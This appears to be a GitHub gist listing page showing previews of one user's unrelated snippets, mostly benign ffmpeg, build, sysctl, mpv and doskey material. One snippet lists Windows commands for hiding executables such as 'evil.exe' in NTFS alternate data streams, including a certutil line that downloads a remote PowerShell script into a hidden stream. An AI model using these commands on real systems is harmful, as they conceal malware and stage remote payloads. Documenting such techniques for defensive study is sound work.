garoto

FFmpeg and libav's playbook: Advanced encoding options with hardware-based acceleration, NVIDIA's NVENC and Intel's VAAPI-based encoder.

Hello guys,

Continuing from this guide to building ffmpeg and libav with NVENC and VAAPI enabled, this snippet will cover advanced options that you can use with ffmpeg and libav on both NVENC and VAAPI hardware-based encoders.

For ffmpeg:

garoto

# Adds 3-sec fading out title image before video.

# What's going on here: We get title.png image, loop it for 3 sec video, create 3 sec silence, get video.mp4 (framerate 25). Next, we add fade out filter on looped image video, after that we concat our image video, audio silence and main video into one. Easy peasy.

ffmpeg -loop 1 -framerate 25 -t 3 -i title.png -t 3 -f lavfi -i aevalsrc=0 -i video.mp4 -filter_complex '[0:0]fade=out:50:25:alpha=1[title]; [title][1:0][2:0][2:1] concat=n=2:v=1:a=1' output.mp4

garoto

#!/usr/bin/env bash

# Install re2c
cd /tmp                                                  &&
git clone --depth 1 https://github.com/skvadrik/re2c.git &&
cd re2c/re2c                                             &&
./autogen.sh                                             &&
./configure --prefix=/usr                                &&
make -j$(nproc) && make install                          &&
rm -rf /tmp/re2c

garoto

@echo off
setlocal EnableDelayedExpansion

ver | find "10." > nul
if errorlevel 1 (
	echo Your Windows version is not Windows 10... yet. Brace yourself, Windows 10 is coming^^!
	pause
	exit
)

garoto

Last updated: December 2020

Also known as itag or format codes and way back they could be specified with the fmt parameter (e.g. &fmt=22). Depending on the age and/or popularity of the video, not all formats will be available.

DASH video

Resolution	AV1 HFR	AV1	VP9.2 HDR HFR	VP9 HFR	VP9	H.264 HFR	H.264
	MP4	MP4	WebM	WebM	WebM	MP4	MP4

garoto

### KERNEL TUNING ###

# Increase size of file handles and inode cache
fs.file-max = 2097152

# Do less swapping
vm.swappiness = 10
vm.dirty_ratio = 60
vm.dirty_background_ratio = 2

garoto

###Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat

garoto

-- autosave.lua
--
-- Periodically saves "watch later" data during playback, rather than only saving on quit.
-- This lets you easily recover your position in the case of an ungraceful shutdown of mpv (crash, power failure, etc.).
--
-- You can configure the save period by creating a "lua-settings" directory inside your mpv configuration directory.
-- Inside the "lua-settings" directory, create a file named "autosave.conf".
-- The save period can be set like so:
--
-- save_period=60

garoto

;============================== loading on startup =============================== 
;= create a cmd link with the following target : 
;= %comspec% /k "(doskey /macrofile=%userprofile%\doskey.mac)"
;============================= File listing enhancements ============================
alias_old=IF ".$*." == ".." (doskey /macros) ELSE (IF /I "$1" == "SAVE" (doskey /macros $g "%USERPROFILE%\doskey.mac" & ECHO Aliases SAVED) ELSE (IF /I "$1"=="LOAD" (doskey /macrofile="%USERPROFILE%\doskey.mac" & ECHO Aliases LOADED & doskey /macros) ELSE (doskey $*)))
alias=IF ".$*." == ".." (doskey /macros) ELSE (IF /I "$1" == "SAVE" (doskey /macros $g "%USERPROFILE%\doskey.mac" & ECHO Aliases SAVED) ELSE (IF /I "$1"=="LOAD" (doskey /macrofile="%USERPROFILE%\doskey.mac" & ECHO Aliases LOADED & doskey /macros) ELSE (IF /I "$1"=="EDIT" (notepad %userprofile%\doskey.mac) ELSE (IF /I "$1"=="EDIT2" (notepad2 %userprofile%\doskey.mac) ELSE (doskey $*)))))
alias_=IF ".$*." == ".." (doskey /macros) ELSE (IF /I "$1" == "SAVE" (doskey /mac

garoto

msys2 vs msys vs msysgit

MinGW doesn't provide a linux-like environment, that is MSYS(2) and/or Cygwin

Cygwin is an attempt to create a complete UNIX/POSIX environment on Windows. 
MinGW is a C/C++ compiler suite which allows you to create Windows executables - you only 
need the normal MSVC runtimes, which are part of any normal Microsoft Windows installation.

MinGW provides headers and libraries so that GCC (a compiler suite, 
not just a "unix/linux compiler") can be built and used against the Windows C runtime.